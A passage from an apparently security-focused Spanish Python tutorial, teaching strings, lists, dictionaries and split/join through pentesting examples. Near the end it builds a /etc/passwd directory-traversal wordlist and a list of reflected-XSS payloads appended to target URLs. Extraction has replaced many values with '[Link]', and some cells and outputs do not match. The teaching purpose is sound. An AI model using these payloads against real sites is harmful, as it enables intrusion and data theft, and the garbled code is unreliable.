que decidir si usamos comillas simples o comillas dobles… y respetar esa elección. Si abro con comillas
simples… cierro con comillas simples. Si abro con comillas dobles… cierro con comillas dobles. Python es
flexible… pero también es ordenado en estas cosas.

Para demostrar lo que pasa cuando no respetamos esa regla, voy a crear la misma variable… pero abriendo
con comillas dobles y cerrando con comillas simples. Veamos qué ocurre….

In [20]:
ip = "[Link]'
print(ip)

Cell In[23], line 1


ip = "[Link]'
^
SyntaxError: unterminated string literal (detected at line 1)

Podemos apreciar que el intérprete de Python nos muestra un error de sintaxis… confirmando exactamente
lo que mencionamos antes. Python no perdona cuando abrimos con un tipo de comillas y cerramos con
otro… así que es bueno tener ese hábito claro desde el principio.

Ahora, si queremos comprobar qué tipo de dato contiene la variable ip, podemos usar la función type() que
es como preguntarle directamente al intérprete.... oye, ¿qué eres tú?.

In [24]:
ip = '[Link]'
type(ip)

Out[24]:
str
En el ejemplo anterior, el intérprete nos indicó que el valor es de tipo texto… usando la abreviación str, que
viene de string o cadena de texto. Python suele usar estos nombres cortos… y uno se acostumbra rápido.

Ahora probemos cómo se escribiría en Python la variable puerto… algo simple… pero que nos sirve para ver
la diferencia con el ejemplo anterior.

In [25]:

21
puerto = 443
type(puerto)

Out[25]:
int

Realizando el mismo ejemplo que en el ejercicio anterior, nos damos cuenta de que esta vez no utilizamos
comillas. Esto es porque los valores numéricos en Python se escriben directamente… sin comillas… tal cual.

Y si aplicamos la función type() sobre esa variable, veremos que Python nos indica que es de tipo int, que es
la abreviación de integer…. o simplemente “entero”.

Así vamos distinguiendo cuándo corresponde usar comillas… y cuándo no. Son detalles simples… pero muy
importantes para evitar errores más adelante.

type(variable)

Retorna el tipo de una variable… y es muy útil cuando estamos depurando un


programa y no tenemos claro con qué tipo de dato estamos trabajando.
A veces uno piensa que algo es un número… y resulta ser texto… o viceversa.
type() nos saca de la duda al instante… y nos ahorra más de un dolor de cabeza.

Para terminar con este ejemplo… vamos a usar una variable de tipo Verdadero o Falso. Estos valores, los
booleanos... son clave cuando necesitamos tomar decisiones dentro del programa… y Python los maneja de
manera muy sencilla.

Veamos cómo se escribe uno….

In [26]:
conexion = True
print(conexion)
type(conexion)

Out[26]:
True
bool

Manejo de String o Cadenas de Texto


Aprender a manipular cadenas de texto es fundamental para cualquier programador… y en Python aún más,
porque las vas a usar en casi todo. En este capítulo vamos a revisar varios ejemplos… tranquilos, paso a
paso… para que después trabajar con texto se sienta natural y no una pelea con la máquina.

22
Manipulación de subcadenas

Para entender cómo funcionan las subcadenas, podemos imaginarnos que cada texto se puede
descomponer en pequeñas partes… como si fuera un rompecabezas que podemos cortar, unir o analizar
según lo que necesitemos. Python deja trabajar con estos fragmentos de manera muy sencilla… y eso facilita
mucho la vida cuando estás procesando datos, URLs o mensajes que traes desde Internet.

En el siguiente ejemplo vamos a demostrar que un conjunto de textos agrupados… suman una sola cadena
de caracteres… una especie de “mini ensamble” que Python arma sin problemas.

Vamos con el ejemplo….

In [27]:
sitio = "[Link]
len(sitio)

Out[27]:
22

Aquí utilizamos la función nativa de Python len() que nos permite saber cuántos caracteres tiene la variable
sitio. En este caso el resultado es 22 caracteres… y lo podemos comprobar fácilmente si contamos cada
uno.

En Python, las cadenas de texto funcionan con índices que comienzan en cero… es decir, el primer carácter
está en la posición 0, el siguiente en la 1, y así sucesivamente hacia la derecha. Cada carácter ocupa un
espacio reservado dentro del string… y Python usa estos números para acceder a cada posición de manera
rápida.

Si contamos todos los caracteres.... y partimos desde cero... llegamos a ese total de 22. Ahora, si queremos
acceder al valor exacto de cada posición del string… lo hacemos así… simple y directo:

In [28]:
print(sitio[0])
print(sitio[1])
print(sitio[2])
print(sitio[3])

23
print(sitio[4])
print(sitio[5])
print(sitio[6])
print(sitio[7])

h
t
t
p
s
:
/
/

El nombre de la variable que queremos manipular + el símbolo [número] nos indica la posición del texto…
como en sitio[número]. En el ejercicio anterior listamos desde la posición 0 hasta la posición número 7. Con
eso fuimos recorriendo letra por letra el texto… mirando cada carácter en su lugar.

Ahora… si queremos extraer todo lo que está entre las posiciones 0 y 7… basta con escribir sitio[0:8]… que
en lenguaje humano significa [desde : hasta].

El ejemplo aplicado en la consola interactiva se va a ver de la siguiente manera….

In [29]:
print(sitio[0:8])

https://

Imaginemos que de la variable sitio debemos extraer el protocolo utilizado y el nombre de dominio,
aprovechando esta funcionalidad de python sería de la siguiente manera:

In [30]:
print(sitio[0:8])
print(sitio[8:22])

https://
[Link]

También podría funcionar el siguiente ejemplo para hacerlo automático aprovechando la función len():

In [31]:
print(sitio[0:8])
print(sitio[8:len(sitio)])

https://
[Link]

24
Concatenación de Variables e Interpolación
La concatenación en la programación se trata de unir o juntar dos variables para poder formar un mensaje o
unión de objetos. Para poder unir dos valores en python se puede utilizar el símbolo más (+) el símbolo
coma (,) o la interpolación.

1.​ Concatenación con el símbolo (+)


In [32]:
protocolo = "[Link]
sitio = "[Link]"
print(protocolo + sitio)

[Link]

2.​ Interpolación con el símbolo (,)


In [33]:
protocolo = "[Link]
sitio = "[Link]"
print("El Protocolo usado es {0} y el sitio objetivo es {1}".format(protocolo,sitio))

El Protocolo usado es https:// y el sitio objetivo es [Link]

En el ejemplo de la interpolación nos damos cuenta de que se utiliza la función format() que nos permite
reemplazar los valores en una cadena de texto, el símbolo{número} indica que el valor se escribirá en esa
parte de la cadena de texto.

In [34]:
protocolo = "[Link]
sitio = "[Link]"
print(f"El Protocolo usado es {protocolo} y el sitio objetivo es {sitio}")

El Protocolo usado es https:// y el sitio objetivo es [Link]

Esta es una segunda forma de usar formateo más resumida que la anterior, considerando que solo se debe
anteponer un f antes del texto.

Texto multilínea

Para trabajar con texto multilínea se debe utilizar triple comillas (“””) como en él siguiente ejemplo:

In [35]:
multilineas = """
esto

25
es
un
texto
multilineas
"""
print(multilineas)

Out [35]:
esto
es
un
texto
multilineas

Muchas veces nos encontraremos esto cuando analicemos un script de hacking donde se usa para formatear
un banner.

In [36]:
banner = """
__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \\_ __ \ | \\__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \\ \___| < \___ \
/____ > |__| (____ /__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
"""
print(banner)

__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \_ __ \ | \__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \ \___| < \___ /____ > |__| (____ /__|
|___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/

Otra forma de escribir varias líneas juntas es usar un acumulador de texto como el siguiente ejemplo:

In [37]:
acumulador =""
acumulador +="----------------------------------------------------------------------\n"
acumulador +=" Script Brute Force Mysql \n"
acumulador +=" v 1.0
acumulador +="----------------------------------------------------------------------\n"

print(acumulador)

----------------------------------------------------------------------
Script Brute Force Mysql
v 1.0
----------------------------------------------------------------------

Uso de comentarios

26
Para realizar comentarios en el código fuente sin que sea leído por el intérprete de Python debemos utilizar
el carácter gato (#) de la siguiente manera:

In [38]:
# esto es un comentario

Los comentarios en el código fuente son útiles para saber de qué se trata el código fuente, especificar para
que se utilicen las variables o cualquier cosa que queramos escribir.

Saltos de líneas

El símbolo que debemos usar para crear un salto de línea es el carácter \n

Ejemplo:

In [39]:
head_http = " POST / HTTP/1.1 \n Host: [Link] \n conection: keep-alive"
print(head_http)

POST / HTTP/1.1
Host: [Link]
conection: keep-alive

El resultado al imprimir la variable head es con dos saltos de línea.

Funciones útiles en la manipulación de texto.

Función lower (): pasa una cadena de texto a letra minúscula.

Ejemplo:

In [40]:
sitio = "HTTP://[Link]"
print([Link]())

[Link]

Función upper(): Pasa una cadena de texto a Mayúscula.

Ejemplo:

In [41]:
sitio = "esto es un texto!"
print([Link]())

ESTO ES UN TEXTO!

27
Función str(): convierte una variable a tipo texto.

Ejemplo:

In [42]:
puerto = 8080
str(puerto)

Out[42]:
'8080'

In [43]:
type(str(puerto)) # verificamos el tipo de dato al aplicar str()

Out[43]:
str

En el ejemplo podemos verificar que ingresamos una variable numérica y la convertimos en texto. Función
replace(): esta función permite buscar una cadena de texto y modificarla.

Ejemplo:

In [44]:
buscar = "[Link]"
reemplazar = "[Link]"
texto = "[*] Intentando el ataque a [Link] ..."
print([Link](buscar,reemplazar))

[*] Intentando el ataque a [Link] ...

En el ejemplo anterior se entiende que la función replace, el primer parámetro recibe lo que se desea buscar
(puede ser palabra o letra) y el segundo parámetro es el texto que se desea reemplazar. Es decir busca el
dominio [Link] y reemplázalo por [Link].

Función count(): esta función permite saber cuántas veces se repite una letra o texto en una variable.

Ejemplo:

In [45]:
sitio = "[Link]"
print([Link]('w'))

28
Si en algún momento tenemos problemas al utilizar caracteres extraños en nuestro programa y nos sale un
error parecido a este.

SyntaxError: Non-ASCII character

Debemos incluir en nuestro programa la siguiente instrucción en la cabecera o primera línea de código:

# -*- coding: utf-8 -*-

Números en Python
Tipo Enteros

Cuando hablamos de enteros o integer, si queremos ponernos internacionales, nos referimos a valores
numéricos positivos y negativos… así tal cual: {…, -3, -2, -1, 0, 1, 2, 3, …}. Lo importante es que no tienen
decimales.

En Python, los enteros son bastante amigables… uno escribe el número y listo… el intérprete lo entiende sin
mayor ceremonia. Es como si Python dijera : ya, dale… yo me hago cargo, mientras tú sigues avanzando en
el Notebook con tu café medio helado.

Los enteros son la base para un montón de operaciones: desde contar resultados… hasta manejar puertos
de red… o revisar cuántas veces Tom decidió subirse al teclado hoy (que suele ser un número entero
sorprendentemente alto…).

Y lo bueno es que dentro del mundo StarHacks, trabajar con enteros se siente casi como mover pequeños
droides numéricos de un lado a otro… simples, obedientes, y siempre listos para marchar cuando les das
una orden.

Vamos viendo ejemplos….

In [46]:
port = 22
type(port)

Out[46]:
int

Tipo Flotante

29
Los números reales, los que llevan decimales... aparecen en Python bajo el tipo float. Son útiles cuando
necesitas precisión… cómo medir distancias, velocidades… o ese momento exacto 7.3 segundos más o
menos.... en que Otto se quedaba mirando un punto en la pared como si hubiese detectado un bug en la
simulación del universo. Uno lo veía así… tan concentrado… que por un segundo hasta dudabas si Python
realmente era interpretado… o si tú eras el interpretado.

En Python basta con escribir el número con punto decimal… y el intérprete lo reconoce de inmediato como
un flotante. Simple…... elegante… y con ese toque matemático que hace que todo tenga un poco más de
sentido.

Vamos viendo ejemplos….

In [47]:
entero = 0.44444449
print(entero, type(entero))
#convertir a float
float(2)

0.44444449 <class 'float'>

Out[47]:
2.0
Devuélvele una representación hexadecimal de un número int

In [48]:
hex(10)

Out[48]:
'0xa'

Tipo Hexadecimal
El sistema hexadecimal trabaja con base 16… y en Python podemos representar un número en este formato
usando el prefijo 0x. Es muy común cuando uno se mueve por temas de redes, memoria, direcciones o
cualquier cosa que tenga ese toque más “bajo nivel”.

De hecho, cada vez que ves un valor raro como 0xff o 0x1a3f, suena inmediatamente a algo que está más
cerca del hardware que del mundo bonito de Python.

In [49]:
entero = 0x77
print(int(entero))

entero = 119
print(hex(119))

30
119
0x77

Nuevamente vemos una función útil: hex(). Esta función convierte una variable numérica a su representación
en hexadecimal… lo que es muy práctico cuando estamos trabajando con datos de bajo nivel o necesitamos
inspeccionar valores en formatos específicos.

Ahora… si queremos pasar un texto a hexadecimal, podemos hacerlo de la siguiente manera….

In [50]:
texto= 'A'.encode('utf-8') # formatear texto byte codificado en utf-8
print(texto)
print(type(texto))

b'A'
<class 'bytes'>

Pasar de byte a hexadecimal

In [51]:
hex_str = [Link]()#
print(hex_str)
print(type(hex_str))

41
<class 'str'>

Operadores Aritméticos
Antes de seguir avanzando con Python, vale la pena revisar los operadores aritméticos… esas piezas
básicas que nos permiten sumar, restar, multiplicar, dividir y hacer cálculos dentro de un programa.

Son herramientas simples… pero fundamentales. Si pensamos en Python como nuestro cuaderno galáctico
de trabajo, los operadores aritméticos serían como los controles esenciales del tablero… los que usamos
todo el tiempo sin darnos cuenta.

A continuación, veremos una tabla con los operadores más importantes… para tenerlos a mano y entender
rápidamente qué hace cada uno.

31
Valores Boléanos
El siguiente ejemplo lo vamos a trabajar pensando en dos comparaciones unidas por la conjunción AND… o
“Y”, como la conocemos en español. Los valores booleanos, True y False... son la base de muchas
decisiones dentro de un programa… y entender cómo se comportan con operadores lógicos nos ayuda
bastante cuando más adelante estemos construyendo condiciones, filtros o validaciones.

En la terminal interactiva de Python podemos probar combinaciones como:

In [52]:
True and False

Out[52]:
False

In [53]:
False and False

Out[53]:
False

In [54]:
False and False

Out[54]:
False

In [55]:
True and True

32
Out[55]:
True

Las conjunciones con la palabra reservada and significan que se debe realizar una multiplicación:

●​ 1 significa verdadero
●​ 0 significa falso.

Las conducciones con la palabra reservada or significan suma.

In [56]:
True or False

Out[56]:
True

In [57]:
False or True

Out[57]:
True

In [58]:
True or True

Out[58]:
True

In [59]:
False or False

Out[59]:
False

Tabla de comparaciones posibles soluciones:

33
Operadores Relacionales

Muchas veces vamos a tener que comparar dos o más valores, python nos entrega la siguiente herramienta:

Ahora que tenemos claro los posibles resultados, vamos a realizar un ejemplo con lo aprendido hasta ahora:

In [61]:
ip = "[Link]"
puerto = 22
conexion = True
if conexion:
print("Conectando a la ip" + ip + " Puerto " + str(puerto))

Conectando a la ip192.168.1.33 Puerto 22

En las primeras líneas del código se declara la variable ip, puerto y conexión… luego se evalúa si conexión
es Verdadera. Si lo es, Python imprime en pantalla el mensaje: “conectando a la ip [Link] puerto 443”.

El ejemplo es súper sencillo… pero suficiente para mostrar para qué nos sirve todo lo que hemos visto hasta
ahora. En el ámbito de la seguridad informática, es muy común que tengamos que verificar condiciones,
validar estados… o comparar mensajes antes de mostrarlos por pantalla.

Agrupación de Datos
Muchas veces, cuando estamos programando… necesitamos guardar varios datos dentro de una sola
variable para luego listarlos, compararlos o trabajar con ellos. La idea es parecida a una bodega: la memoria
RAM sería la bodega… y los datos que guardamos son las cosas que entran y salen según lo que
necesitemos.

34
Python nos ofrece tres formas principales de trabajar con agrupación de variables:

●​ Tuplas
●​ Listas
●​ Diccionarios

Cada una tiene su propia sintaxis… y su manera particular de ser manipulada.

Tuplas

Las tuplas son listas inmutables… lo que significa que no pueden modificarse después de ser creadas. Si
defines una tupla, los valores quedan tal cual… fijos… como si hubieras dejado tus datos sellados dentro de
un contenedor.

Para definir una tupla escribimos el nombre de la variable… el signo igual… y entre paréntesis () los valores
separados por comas.

Ejemplo:

In [62]:
mi_tupla = ("[Link]",80,"[Link]",21)

En la imagen se puede apreciar que una tupla puede almacenar múltiples tipos de variables sin ningún
problema. Para acceder a los valores guardados, basta con escribir el nombre de la tupla acompañado de
[]… y dentro, la posición que queremos consultar.

Ejemplo:

In [63]:
print(mi_tupla[0])

[Link]

In [64]:
print(mi_tupla[1])

80

In [65]:
print(mi_tupla[2])

[Link]

In [66]:
print(mi_tupla[3])

35
21

Otra forma en la que se podría acceder a los datos:

In [67]:
print(mi_tupla[0:4])

('[Link]', 80, '[Link]', 21)

In [68]:
print(mi_tupla[0:3])

('[Link]', 80, '[Link]')

In [69]:
print(mi_tupla[3:])

(21,)

En el siguiente ejemplo comprobamos que no se pueden asignar nuevos valores a las tuplas… porque son
inmutables. En palabras simples, una vez que las defines… quedan así para siempre. No puedes cambiarlas.
Es un concepto tan rígido que uno casi siente que si existieran en el mundo real, trabajarían en el Registro
Civil… o serían parte del Consejo Jedi, donde las reglas son claras y casi nunca cambian… aunque uno
quisiera.

In [70]:
mi_tupla[3] = "[Link]"

---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
Cell In[70], line 1
----> 1 mi_tupla[3] = "[Link]"
TypeError: 'tuple' object does not support item assignment

Listas
Las listas, a diferencia de las tuplas, pueden modificarse libremente después de ser creadas. Podemos
agregar nuevos valores… eliminar los que ya no sirven… buscar elementos… o actualizar lo que tengamos
guardado. Son estructuras mucho más flexibles… casi como una mochila donde vas metiendo cosas según
lo que necesites en el momento.

La sintaxis es muy similar a las tuplas, pero aquí usamos corchetes [] en lugar de paréntesis.

Ejemplo:

36
In [71]:
lista = ['[Link]', 80, '[Link]', 21]

Para acceder a los datos sería de la siguiente manera:

In [72]:
print(lista[0])

[Link]

In [73]:
print(lista[1])

80

In [74]:
print(lista[2])

[Link]

In [75]:
print(lista[3])

21

Otra forma de acceder a los datos es utilizando índices negativos:

In [76]:
print(lista[-1])

21

In [77]:
print(lista[-2])

[Link]

In [78]:
print(lista[-3])

80

Como se ve en la imagen los índices negativos se accede a los datos de izquierda a derecha.

Agregar elementos

La forma de agregar elementos a una lista es utilizando el método append() , insert() y extend().

37
El Método append() agrega el elemento al final de la fila.

In [79]:
[Link]("[Link]")

In [80]:
lista

Out[80]:
['[Link]', 80, '[Link]', 21, '[Link]']

El Método insert() agrega un elemento a una posición en específico en una fila.

In [81]:
[Link](3,"[Link]")

In [82]:
lista

Out[82]:
['[Link]', 80, '[Link]', '[Link]', 21, '[Link]']

El método extend() concatena dos listas

In [83]:
nueva_lista = ["[Link]",443]
[Link](nueva_lista)

In [84]:
print(lista)

['[Link]', 80, '[Link]', '[Link]', 21, '[Link]',


'[Link]', 443]
Eliminar elementos

Para eliminar elementos en una lista python nos entrega el método remove() y su uso es de la siguiente
forma:

In [85]:
[Link]("[Link]")
[Link](80)
[Link]("[Link]")
[Link](21)

In [86]:
print(lista)

38
['[Link]', '[Link]', '[Link]', 443]

Si necesitamos saber si en la lista existe un valor en específico, podemos utilizar el método index(). Su
uso es de la siguiente forma:

In [87]:
[Link]("[Link]")

Out[87]:
0

In [88]:
[Link]("[Link]")

Out[88]:
2
Como nos damos cuenta en la imagen anterior se nos indica la posición del índice donde se encuentra la
variable. Pero qué pasa si buscamos un valor que ya no se encuentre en la lista.

In [89]:
[Link]("[Link]")

---------------------------------------------------------------------------
ValueError Traceback (most recent call last)
Cell In[89], line 1
----> 1 [Link]("[Link]")

ValueError: '[Link]' is not in list


Si un valor no se encuentra en la lista, el intérprete de python nos arrojará un error tipo ValueError, esto
quiere decir que la función index() no nos sirve para buscar datos, ya que se cae el programa, para esto
Python tiene una función útil que se llama in y se utiliza de la siguiente manera:

In [90]:
"[Link]" in lista

Out[90]:
False

In [91]:
"[Link]" in lista

Out[91]:
True

El ejemplo anterior se lee de la siguiente manera:

39
●​ En la variable lista existe un valor de tipo texto que contiene “[Link]”, la función in retornara un
valor False.
●​ En la variable lista existe un valor de tipo texto que contiene “[Link].77”, la función in retornara
un valor True.

Cuando no sepamos si un elemento está o no está en una lista utilizaremos la


función "in".

Las listas también pueden ser concatenadas con el símbolo +.

Ejemplo:

In [92]:
puertos = [21,22,80,139,443,445]

In [93]:
puertos + [8080,3306]

Out[93]:
[21, 22, 80, 139, 443, 445, 8080, 3306]

Uso de yield
Muchas veces, cuando estamos desarrollando, necesitamos trabajar con grandes cantidades de datos… tan
grandes que si los cargáramos completos en memoria, el script se pondría lento… o derechamente dejaría
de funcionar. Para estos casos existe yield, una herramienta muy útil que nos permite recorrer los datos uno
a uno, sin necesidad de cargar una lista enorme de golpe.

En simple… yield actúa como un generador. Cada vez que el programa lo necesita, entrega el siguiente
valor… y así evita ocupar memoria extra. Es una forma elegante y eficiente de procesar conjuntos de datos
grandes… casi como pasar página por página en lugar de abrir un libro entero de una vez.

Ejemplo:

In [94]:
def filter_valid_ips(ip_list):
for ip in ip_list:
if is_valid_ip(ip):
yield ip

Creamos una función que recorra un conjunto de ips y las vaya evaluando una a uno si son ips válidas.

40
In [95]:
def is_valid_ip(ip):
try:
ip = ipaddress.ip_address(ip)
return True
except ValueError:
return False #

Ahora generamos una lista de IPS, las validamos con nuestra función y finalmente solo guardamos las IPS
que son válidas con la mayor eficiencia posible sin necesidad de cargar todos los registros en memoria.

In [96]:
import ipaddress

ip_list = ["[Link]", "", "[Link]", "invalid", "[Link]","[Link]"]


valid_ips = list(filter_valid_ips(ip_list))
for ip in valid_ips:
print(ip)

[Link]
[Link]
[Link]

Diccionarios
Un diccionario es parecido a una lista… pero funciona con otra lógica. En vez de acceder a un dato usando
un índice numérico, lo hacemos usando una palabra clave. Cada clave apunta a un valor… como si fuera
una etiqueta muy clara que nos dice exactamente qué estamos buscando. Es una estructura súper útil
cuando necesitamos organizar información de manera más descriptiva.

Otra diferencia importante es la sintaxis: mientras las listas usan [], los diccionarios se definen con {}… algo
así como una pequeña caja donde cada elemento está guardado junto a su nombre.

Ejemplo:

In [97]:
conexion = {"origen":"[Link]","destino":"[Link]"}

In [98]:
print(conexion["origen"])

[Link]

In [99]:
print(conexion["destino"])

41
[Link]

Como se puede apreciar en la imagen anterior, cada par de clave: valor van con dos puntos (:) entre medio y
se separan por el símbolo coma (,). Para ver los valores de un diccionario se debe escribir el nombre de la
clave entre corchetes.

Para eliminar una entrada se debe utilizar la función del() de la siguiente manera:

In [ ]:
conexion

Out[ ]:
{'origen': '[Link]', 'destino': '[Link]'}

In [100]:
del(conexion["destino"])

In [101]:
conexion

Out[101]:
{'origen': '[Link]'}
Para volver a asignar un dato dentro de un diccionario se realiza de la siguiente forma:

In [102]:
conexion["destino"] = "[Link]"

In [103]:
conexion

Out[103]:
{'origen': '[Link]', 'destino': '[Link]'}

Ahora utilicemos un diccionario pensando en un objeto con distintos atributos. El objeto va a ser un sitio Web
y sus atributos van a ser las tecnologías utilizadas:

In [104]:
target = {}
target = {"host":"[Link]", "Server":"Apache 2.2.1", "S.O":"Ubuntu Server 12"}

In [105]:
print("[-] La Dominio es :" + target["host"])
print("[-] El Servidor es :" + target["Server"])
print("[-] El S.O es :" + target["S.O"])

42
[-] La Dominio es :[Link]
[-] El Servidor es :Apache 2.2.1
[-] El S.O es :Ubuntu Server 12

Con este ejemplo nos damos cuenta de que utilizar diccionarios tiene sentido cuando tratamos de programar
lo más parecido a como nosotros, los humanos, procesamos las cosas. Si queremos saber el número de
elementos que tiene un diccionario utilizamos la función len()

In [106]:
len(target)

Out[106]:
3

Si queremos saber qué palabras claves tiene un diccionario utilizamos la función keys()

In [107]:
[Link]()

Out[107]:
dict_keys(['host', 'Server', 'S.O'])
Si queremos conocer solamente los valores de un diccionario utilizamos la función values()

In [108]:
[Link]()

Out[108]:
dict_values(['[Link]', 'Apache 2.2.1', 'Ubuntu Server 12'])

Otro forma de obtener un valor es utilizando la función get() con su clave

In [109]:
[Link]("host")

Out[109]:
'[Link]'
Para eliminar un valor según su clave se utiliza la función pop() y valor clave

In [110]:
[Link]("host")

Out[110]:
'[Link]'

43
In [111]:
target

Out[111]:
{'Server': 'Apache 2.2.1', 'S.O': 'Ubuntu Server 12'}
Para copiar un diccionario utilizaremos la función copy()

In [112]:
copia_target = [Link]()

In [113]:
copia_target

Out[113]:
{'Server': 'Apache 2.2.1', 'S.O': 'Ubuntu Server 12'}

Para transformar a tuplas las claves: valores del diccionario podemos utilizar la función ítems()

In [114]:
[Link]()

Out[114]:
dict_items([('Server', 'Apache 2.2.1'), ('S.O', 'Ubuntu Server 12')])

Para eliminar los elementos de un diccionario utilizamos la función clear()

In [115]:
[Link]()
target

Out[115]:
{}
In [116]:
len(target)

Out[116]:
0

Asignación Múltiple
Python tiene varias comodidades… y una de ellas es la asignación múltiple, que nos permite entregar varios
valores a varias variables en una sola línea de código. Es decir… podemos extraer valores desde una lista,

44
una tupla, o simplemente desde una serie de valores separados por coma… y repartirlos de inmediato en
variables distintas.

Es práctico… limpio… y ayuda a que el código se vea más ordenado, sobre todo cuando necesitamos
inicializar varias cosas a la vez.

Ejemplo de múltiples variables:

In [117]:
url,directory = "[Link]","/admin"

In [118]:
print(url)
print(directory)

[Link]
/admin
Ahora veamos un ejemplo donde usaremos una lista para hacer una asignación múltiple.

Ejemplo Listas:

In [119]:
lista = ["[Link]","http",80]

In [ ]:
ip,protocolo,puerto = lista

In [120]:
print(ip)
print(protocolo)
print(puerto)

[Link]
https://
22
En el código fuente, se puede apreciar que las variables de la Lista pasan directamente a las tres variables
que se encuentran en la izquierda según su orden; ip, protocolo, puerto. Esto es lo mismo que escribir:

Ip = “[Link]”
Protocolo = “http”
Puerto = 80
Si se utiliza esta sintaxis con inteligencia, se puede hacer códigos mucho más limpios y resumidos.
Unión y división de cadenas de texto

Python nos entrega funciones tanto para unir cadenas de texto como para separar. En los siguientes
ejemplos veremos cómo se realizan estas tareas.

45
Método join()

Para unir cadenas de texto podemos utilizar el método join() que nos ayuda a dar formato a un texto en
particular.

In [121]:
tupla = ("[Link]","admin")
unir = "/"
sitio = [Link](tupla)
print(sitio)

[Link]/admin

También se podría completar este ejercicio con la siguiente forma para ser usado por un request:

In [122]:
http ="[Link]
https ="[Link]

In [123]:
print(http+sitio)
print(https+sitio)

[Link]
[Link]

Segundo ejemplo de Unión por Tupla:

In [124]:
tupla = ("[Link]
sitio = "".join(tupla)
print(sitio)

[Link]

Este código es un poco parecido al ejemplo anterior, solo que en vez de definir una tupla, se ingresa
directamente como parámetro los valores a la función join().

Ejemplo cadena de texto:

In [125]:
"-".join("1234567890")

Out[125]:
'1-2-3-4-5-6-7-8-9-0'

46
En este ejemplo se puede ver que si se ingresa como parámetro una cadena de texto a la función join(), esta
separará cada carácter por el texto que nosotros le indiquemos.

Ejemplo utilizando listas:

En este ejemplo une una cadena de texto que representa la conexión a una base de datos:

In [126]:
db = ["server=[Link]","database=rrhh","user=root","password="]

In [127]:
conn = ";".join(db)
print(conn)

server=[Link];database=rrhh;user=root;password=
Método split()

El método split() sirve para separar una cadena por medio de algún parámetro que le pasemos (cadena
de textos).

In [128]:
sitio_web = "[Link]/admin/controller/user/setname"

In [129]:
sitio_web.split("/")

Out[129]:
['[Link]', 'admin', 'controller', 'user', 'setname']

La salida de split es una lista que se accede a cada valor por su índice.

In [130]:
salida = sitio_web.split("/")
type(salida)

Out[130]:
list

En el código anterior se comprueba que el método split() retorna una lista con los valores separados.

['[Link]', 'admin', 'controller', 'user', 'setname']

Otra forma en que se puede utilizar este método es en una sola línea de código:

In [131]:
"[Link]/admin/controller/user/setname".split("/")

47
Out[131]:
['[Link]', 'admin', 'controller', 'user', 'setname']

Desde el punto de vista de Pentesting, es súper útil poder tomar cadenas de texto y dividirlas a conveniencia
para poder ejecutar un ataque específico, en este caso sería dividir el path de una aplicación para
posteriormente preparar por ejemplo un ataque de adivinación de directorios. Obviamente, existen más
casos donde es útil usar la función split() y queda a imaginación del Hacker en qué casos la utiliza.

Método splitlines()

El método splitlines() nos sirve para separar una cadena de texto que contiene varias líneas.

In [132]:
diccionario = """/etc/passwd
../etc/passwd
../../etc/passwd
../../etc/passwd
../../../etc/passwd
"""
[Link]()

Out[132]:
['/etc/passwd',
'../etc/passwd',
'../../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd']

Si queremos por ejemplo aplicar este ejercicio a formar URL que busquen transversal directory en una
aplicación web se realizaría de la siguiente manera:

In [133]:
sitio = "[Link]
target = [Link]("=")

In [134]:
target

Out[134]:
['[Link] '[Link]']

Al realizar la primera conversión del sitio para emular un ataque, intentaremos dividir la URL con el target
donde se recibe el parámetro de entrada y separarla del payload para poder ingresar nuestro diccionario.

48
In [135]:
for payload in [Link]():
print(target[0] + "=" + payload)

[Link]
[Link]
[Link]
[Link]
[Link]

En caso, por ejemplo, de querer buscar un XSS reflejado en una URL, se podría hacer con una lista de
payload de la siguiente manera:

In [136]:
payloads = """"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
<image/src/onerror=prompt(8)>
<img/src/onerror=prompt(8)>
<image src/onerror=prompt(8)>
<img src/onerror=prompt(8)>
<image src =q onerror=prompt(8)>
<img src =q onerror=prompt(8)>
</scrip</script>t><img src =q onerror=prompt(8)>
<svg onload=alert(1)>
"><svg onload=alert(1)//
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
'-alert(1)-'
"""
[Link]()

Out[136]:
['"-prompt(8)-"',
"'-prompt(8)-'",
'";a=prompt,a()//',
"';a=prompt,a()//",
'\'-eval("window[\'pro\'%2B\'mpt\'](8)")-\'',
'"-eval("window[\'pro\'%2B\'mpt\'](8)")-"',
'"onclick=prompt(8)>"@x.y',
'"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y',
'<image/src/onerror=prompt(8)>',
'<img/src/onerror=prompt(8)>',
'<image src/onerror=prompt(8)>',
'<img src/onerror=prompt(8)>',
'<image src =q onerror=prompt(8)>',

49
'<img src =q onerror=prompt(8)>',
'</scrip</script>t><img src =q onerror=prompt(8)>',
'<svg onload=alert(1)>',
'"><svg onload=alert(1)//',
'"onmouseover=alert(1)//',
'"autofocus/onfocus=alert(1)//',
"'-alert(1)-'"]

Una vez realizada la lista de Payload a inyectar en parámetros de entrada, nos disponemos a separar la url
por partes:

In [137]:
sitio = "[Link]
target = [Link]("=")

Para unir la URL del sitio con los payload de XSS hacemos lo mismo que el ejercicio anterior:

In [138]:
for payload in [Link]():
print(target[0] + "=" + payload)

[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link] src/onerror=prompt(8)>
[Link] src/onerror=prompt(8)>
[Link] src =q onerror=prompt(8)>
[Link] src =q onerror=prompt(8)>
[Link] src =q onerror=prompt(8)>
[Link] onload=alert(1)>
[Link] onload=alert(1)//
[Link]
[Link]
[Link]

Estructuras de Control IF, ELSE y ELIF


Las estructuras de control condicional son la manera que nos da un lenguaje de programación para hacer
preguntas… comparar valores… y obtener respuestas del tipo verdadero o falso. Esta idea, que parece

50
simple.... es la base para darle un poco de inteligencia a nuestros programas… simulando decisiones que en
la vida real tomamos de manera automática.

